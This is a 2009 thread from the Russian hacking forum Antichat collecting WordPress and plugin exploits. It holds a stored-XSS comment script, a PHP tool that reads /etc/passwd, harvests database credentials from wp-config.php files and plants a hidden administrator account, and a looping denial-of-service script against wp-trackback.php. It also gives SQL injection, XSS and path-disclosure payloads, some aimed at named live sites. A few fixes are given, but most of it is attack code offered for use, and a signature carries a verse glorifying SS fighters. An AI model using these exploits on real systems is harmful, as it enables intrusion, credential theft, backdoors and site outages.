ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Wordpress 2.8.1 (url) Remote Cross Site Scripting Exploit
  #131  
Старый 27.07.2009, 10:32
Аватар для Solide Snake
Solide Snake
Moderator - Level 7
Регистрация: 28.04.2007
Сообщений: 547
Провел на форуме:
5516499

Репутация: 3702


Отправить сообщение для Solide Snake с помощью ICQ
По умолчанию Wordpress 2.8.1 (url) Remote Cross Site Scripting Exploit

This can be used to hack 2.8.1 through Remote XSS.

Код:
echo "wp281.quickprz // iso^kpsbr"

SITE=$1
COMMENT=$2
MESSAGE="h4x0riZed by the superfreakaz0rz"

if [ "X$SITE" = "X" ]; then
	echo "$0 <url> [postID]"
	echo "f.e. $0 www.worstpress.eu"
	exit
fi

if [ "X$POSTID" = "X" ]; then
	POSTID=1
fi


echo "[+] building payload"

WHERE="title" # can also be 'content'
PATH="$SITE/wp-comments-post.php"

WHERE=`echo -n "$WHERE" | /usr/bin/od -t d1 -A n | /bin/sed 's/\\s\\s*/,/g' | /bin/sed 's/^,//'`
EVILURL="http://w.ch'onmouseover='document.getElementById(String.fromCharCode($WHERE)).value=this.innerHTML;document.getElementById(String.fromCharCode(112,117,98,108,105,115,104)).click();"
echo "[-] payload is $EVILURL for '$MESSAGE'"

EVILURL=`echo -n "$EVILURL" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
MESSAGE=`echo -n "$MESSAGE" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
RNDDATA=`/bin/date +%S%s`;

echo "[!] delivering data"
/usr/bin/curl -A "Quickprz" -d "author=$MESSAGE&email=kelly@hackforums.net&url=$EVILURL&comment=hi+there%5F+this+is+just+some+very+harmless+spam+$RNDDATA&submit=Submit+Comment&comment_post_ID=$POSTID" $PATH

echo "[X] all done. now wait for admin to mouse-over that name."

# milw0rm.com [2009-07-24]
 
Ответить с цитированием

  #132  
Старый 11.08.2009, 17:51
Аватар для budden
budden
Участник форума
Регистрация: 26.07.2008
Сообщений: 267
Провел на форуме:
1343031

Репутация: 184
По умолчанию

WordPress <= 2.8.3 Remote admin reset password

По сути ничего не дает несмотря на громкое название.
http://www.milw0rm.com/exploits/9410
 
Ответить с цитированием

  #133  
Старый 16.08.2009, 00:34
Аватар для fairy_long_nose
fairy_long_nose
Новичок
Регистрация: 30.04.2009
Сообщений: 3
Провел на форуме:
13705

Репутация: 0
По умолчанию

Цитата:
Сообщение от [underwater]  
XSS [Все версии]
Сегодня было опубликована ксс, работает вплоть до текущей версии включительно.

Код:
http://www.site.com’onmousemove=’location.href=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,118,117,108,46,107,114,47,63,112,61,53,54,57);
Для устранения в файле wp-comments-post.php ~40 строку изменяем:
Код:
$comment_author_url = str_replace(chr(39),”,$comment_author_url);
$comment_author_url = str_replace(chr(59),”,$comment_author_url);
$comment_author_url = str_replace(chr(44),”,$comment_author_url);
-1
Не работает
 
Ответить с цитированием

  #134  
Старый 24.10.2009, 00:43
Аватар для [underwater]
[underwater]
Познающий
Регистрация: 29.03.2009
Сообщений: 87
Провел на форуме:
2185909

Репутация: 308
По умолчанию

WP-Config Discover
Код:
   1.
      < ?php
   2.
      $paths = array(
   3.
          "blog",
   4.
          "site",
   5.
          "html",
   6.
          "www",
   7.
          "html/blog",
   8.
          "www/blog",
   9.
          "site/blog",
  10.
          "wordpress",
  11.
          "wp",
  12.
          "www/wp",
  13.
          "www/wordpress",
  14.
          "html/wordpress",
  15.
          "html/wp",
  16.
          "public_html",
  17.
          "public_html/blog",
  18.
          "public_html/wp",
  19.
          "public_html/wordpress",
  20.
      );
  21.
      $files = array(
  22.
          "wp-config.php",
  23.
      );
  24.
      print "Checking for ….\n";
  25.
      if(!is_readable("/etc/passwd"))    die("err0r: can’t read /etc/passwd (safe mode?)");
  26.
      $_f = @file("/etc/passwd");
  27.
      foreach($_f as $usr){
  28.
          $usr = explode(":", $usr);
  29.
          $uid = $usr[2];
  30.
          $home = $usr[5];
  31.
          $usr = $usr[0];
  32.
          if($uid >= 1000){
  33.
              print $usr." (uid:".$uid."): ".$home."\n";
  34.
              foreach($paths as $path){
  35.
                  if(file_exists($home."/".$path)) {
  36.
                  print "\tSearching in ".$home."/".$path."\n";
  37.
                      foreach($files as $file){
  38.
                          if(file_exists($home."/".$path."/".$file)){
  39.
                               print "\t\tFound: ".$file."\n";
  40.
                              $__f = @file($home."/".$path."/".$file);
  41.
                              foreach($__f as $line){
  42.
                                  if(stristr($line, "DB_USER")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output); print "\t\t\t".str_replace("DB_USER’, ","usr=>", $output[1][0])."\n"; }
  43.
                                  if(stristr($line, "DB_PASSWORD")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output2); print "\t\t\t".str_replace("DB_PASSWORD’, ", "pwd=>", $output2[1][0])."\n"; }
  44.
                                  if(stristr($line, "DB_NAME")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output3); print "\t\t\t".str_replace("DB_NAME’, ", "db=>", $output3[1][0])."\n"; }
  45.
                                  if(stristr($line, "DB_HOST")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output4); print "\t\t\t".str_replace("DB_HOST’, ", "host=>", $output4[1][0])."\n"; }
  46.
                                  if(stristr($line, "\$table_prefix")) { preg_match_all(‘/\$table_prefix(.*);/’, $line, $output5); print "\t\t\tprefix".$output5[1][0]."\n"; }
  47.
                                  flush();
  48.
                              }
  49.
                              print "\t\t\tURL: ".getURL($output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
  50.
                              if($_GET[‘attack’] == "create_user") print "\t\t\tUser/pass created: ".UserAdmin("create", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
  51.
                              if($_GET[‘attack’] == "delete_user") print "\t\t\tfakeadmin deleted: ".UserAdmin("delete", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
  52.
                              flush();
  53.
                          }
  54.
                      }
  55.
                  }
  56.
                  flush();
  57.
              }
  58.
              flush();
  59.
          }
  60.
      }
  61.
      function getURL($user, $pass, $db, $host, $prefix){
  62.
          preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0];
  63.
          preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0];
  64.
          preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0];
  65.
          preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0];
  66.
          preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0];
  67.
          $sql = @mysql_connect($host, $user, $pass);
  68.
          @mysql_select_db($db);
  69.
          $_q = @mysql_query("SELECT option_value FROM ".$prefix."options WHERE option_name=’siteurl’", $sql);
  70.
          @mysql_close($sql);
  71.
          return @mysql_result($_q, 0, ‘option_value’);
  72.
      }
  73.
       
  74.
      function UserAdmin($action, $user, $pass, $db, $host, $prefix){
  75.
              preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0];
  76.
              preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0];
  77.
              preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0];
  78.
              preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0];
  79.
              preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0];
  80.
              $sql = @mysql_connect($host, $user, $pass);
  81.
              @mysql_select_db($db);
  82.
          if($action == "create"){
  83.
              $wp_uid = rand(9990,99999);
  84.
              @mysql_query("INSERT INTO ".$prefix."users(id, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES(".$wp_uid.", ‘fakeadmin’, md5(’dummie’), ‘wordpress’, ‘dummie@wordpress.cl’, ‘http://’, NOW(), ”, 0, ‘wordpressdummieadmin’)", $sql);
  85.
              @mysql_query("INSERT INTO ".$prefix."usermeta (user_id, meta_key, meta_value) VALUES (".$wp_uid.", ‘wp_capabilities’, ‘a:1:{s:13:\"administrator\";b:1;}’ )", $sql);
  86.
          }
  87.
          if($action == "delete"){
  88.
              mysql_query("DELETE FROM ".$prefix."usermeta WHERE user_id=(SELECT id FROM ".$prefix."users WHERE user_login=’fakeadmin’)", $sql);
  89.
              mysql_query("DELETE FROM ".$prefix."users WHERE user_login=’fakeadmin’", $sql);
  90.
          }
  91.
          @mysql_close($sql);
  92.
          return "fakeadmin/dummie";
  93.
      }
  94.
      ?>
 
Ответить с цитированием

  #135  
Старый 24.10.2009, 01:15
Аватар для [underwater]
[underwater]
Познающий
Регистрация: 29.03.2009
Сообщений: 87
Провел на форуме:
2185909

Репутация: 308
По умолчанию

Серьезная быра была обнаружена в файле WP-trackbacks.php. Уязвимость состоит в том, что любой посетитель буквально 20 запросами может положить сайт.

Открываем файл WP-trackbacks.php:
Код:
if ( function_exists(’mb_convert_encoding’) ) { // For international trackbacks
$title     = mb_convert_encoding($title, get_option(’blog_charset’), $charset);
$excerpt   = mb_convert_encoding($excerpt, get_option(’blog_charset’), $charset);
$blog_name = mb_convert_encoding($blog_name, get_option(’blog_charset’), $charset);
}
$charset передается через $_POST['charset']. И вя проблема состоит в кодировке mb_convert_encoding

Код:
$text = mb_convert_encoding($text,’UTF-8′,’UTF-7,ISO-8859-1′);
Эта функция преобразует $text в UTF-8. Но если мы сделаем так:
Код:
$text = mb_convert_encoding($text,’UTF-8′,’ISO-8859-1,ISO-8859-1,ISO-8859-1,ISO-8859-1′);
mb_convert_encoding попытает определить кодировку $text, и будет проверять является ли она ISO-8859-1, и так снова и снова. Эскплоит уже придумали до меня:
Код:
    <?php
    //wordpress Resource exhaustion Exploit
    // by rooibo
    //security@wordpress.org contacted and get a response,
    //but no solution available.
    if(count($argv) < 2) {
    echo “You need to specify a url to attack\n”;
    exit;
    }

    $url = $argv[1];

    $data = parse_url($url);
    if(count($data) < 2) {
    echo “The url should have http:// in front of it, and should be complete.\n”;
    exit;
    }

    if(count($data) == 2) {
    $path = ”;
    } else {
    $path = $data['path'];
    }
    $path = trim($path,’/');
    $path .= ‘/wp-trackback.php’;
    if($path{0} != ‘/’) {
    $path = ‘/’.$path;
    }

    $b = “”;
    $b = str_pad($b,140000,’ABCEDFG’);
    $b = utf8_encode($b);
    $charset = “”;
    $charset = str_pad($charset,140000,”UTF-8,”);

    $str = ‘charset=’.urlencode($charset);
    $str .= ‘&url=www.example.com’;
    $str .= ‘&title=’.$b;
    $str .= ‘&blog_name=lol’;
    $str .= ‘&excerpt=lol’;

    $count = 0;
    while(1) {
    $fp = @fsockopen($data['host'],80);
    if(!$fp) {
    if($count > 0) {
    echo “down!!!!\n”;
    exit;
    }
    echo “unable to connect to: “.$data['host'].”\n”;
    exit;
    }

    fputs($fp, “POST $path HTTP/1.1\r\n”);
    fputs($fp, “Host: “.$data['host'].”\r\n”);
    fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
    fputs($fp, “Content-length: “.strlen($str).”\r\n”);
    fputs($fp, “Connection: close\r\n\r\n”);
    fputs($fp, $str.”\r\n\r\n”);

    echo “hit!\n”;
    $count++;
    }

    ?>
Запускаем так: php exploit.php http://site.com

Для патчинга открываем файл WP-trackbacks.php, ищем строку:
Код:
$charset = $_POST['charset'];
Заменяем на:
Код:
$charset = str_replace(”,”,”",$_POST['charset']);
if(is_array($charset)) { exit; }
 
Ответить с цитированием

WordPress Google Analytics Plugin 3.x
  #136  
Старый 08.12.2009, 23:17
Аватар для Techn0id
Techn0id
Новичок
Регистрация: 05.12.2009
Сообщений: 24
Провел на форуме:
231386

Репутация: 1
По умолчанию WordPress Google Analytics Plugin 3.x

WordPress Google Analytics Plugin 3.x
Код:
http://localhost/wp/?s=</script><script>alert(0)</script>
http://localhost/wp/?s=");alert(0);document.write("
 
Ответить с цитированием

  #137  
Старый 21.12.2009, 11:27
Аватар для HAXTA4OK
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

Раскрытие пути плагина cforms да по сути что не зайди там на файл, то раскрытие

файл: cforms-captcha.php
PHP код:
$im_bg_url'captchabg/' . ( prep($_REQUEST['b'],'1.gif') );
/////ну и косячная функция getimagesize
$image_data=getimagesize($im_bg_url); 
пример : http://www.sakeservices.com/wp-content/plugins/cforms/cforms-captcha.php?b=1'
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
 
Ответить с цитированием

  #138  
Старый 21.12.2009, 13:40
Аватар для HAXTA4OK
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

плагин xcloner

phpinfo()

файл /restore/XCloner.php

PHP код:
switch ($_REQUEST[task]) {



  case 
'step2':

     
step2();

     break;

  case 
'step1':

     
step1();

     break;

  case 
'getinfo':

     
getPHPINFO();

     break;

  case 
'info':

     echo 
phpinfo();

     break;

  default :

     
start();

     break;

  } 
__http://www.hellboysword.com/wp-content/plugins/xcloner/restore/XCloner.php?task=info
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.

Последний раз редактировалось HAXTA4OK; 21.12.2009 в 14:02..
 
Ответить с цитированием

плагин nsx-referers
  #139  
Старый 23.12.2009, 23:53
Аватар для chekist
chekist
Reservists Of Antichat - Level 6
Регистрация: 14.11.2007
Сообщений: 177
Провел на форуме:
1246854

Репутация: 622
По умолчанию плагин nsx-referers

плагин nsx-referers

/wp-content/plugins/nsx-referers/nsx-referers-stat.php

PHP код:
.......

$referer $_SERVER['HTTP_REFERER'];
$ref_arr parse_url("$referer");

.......

$res_query urldecode($ref_arr['query']);
if (
preg_match("/{$hosts[$host]}(.*?)&/si",$res_query."&",$matches))
{
  
$search $matches[1];
}

if (
$wpdb->rows_affected 1)
    
$wpdb->query"INSERT INTO ".REFTABLE." VALUES ('', '$url', 'NULL', 'NULL', '$search', 1)"); 
в Referer отсылаем http://yandex.ru/yandsearch?text=wp%27,1),(0x00,0x2f,0x00,0x00,user (),1)%23&lr=6
 
Ответить с цитированием

  #140  
Старый 26.12.2009, 19:57
Аватар для sumeru
sumeru
Новичок
Регистрация: 13.06.2009
Сообщений: 2
Провел на форуме:
16989

Репутация: 0
По умолчанию

Цитата:
Сообщение от +toxa+  
http://blogsecurity.net/projects/secure-wp-whitepaper.pdf

&&

Writing Secure WordPress Plugins
http://michaeldaw.org/papers/securing_wp_plugins/

А эти пожелания скрипт (теоретически) может сам внедрить или это невозможно и только вручную?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов it's my Сценарии/CMF/СMS 184 15.06.2010 11:10
[ Обзор уязвимостей PHP-Nuke ] [53x]Shadow Сценарии/CMF/СMS 42 07.05.2010 19:07
[ Обзор уязвимостей SLAED CMS ] _kREveDKo_ Сценарии/CMF/СMS 20 01.11.2009 14:28
ОБЗОР УЯЗВИМОСТЕЙ БЕСПЛАТНЫХ ПОЧТОВЫХ СЕРВИСОВ nike57 E-Mail 4 05.05.2006 22:03
Статья обзор уязвимостей бесплатных почтовых сервисов markel E-Mail 3 12.09.2005 10:07



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ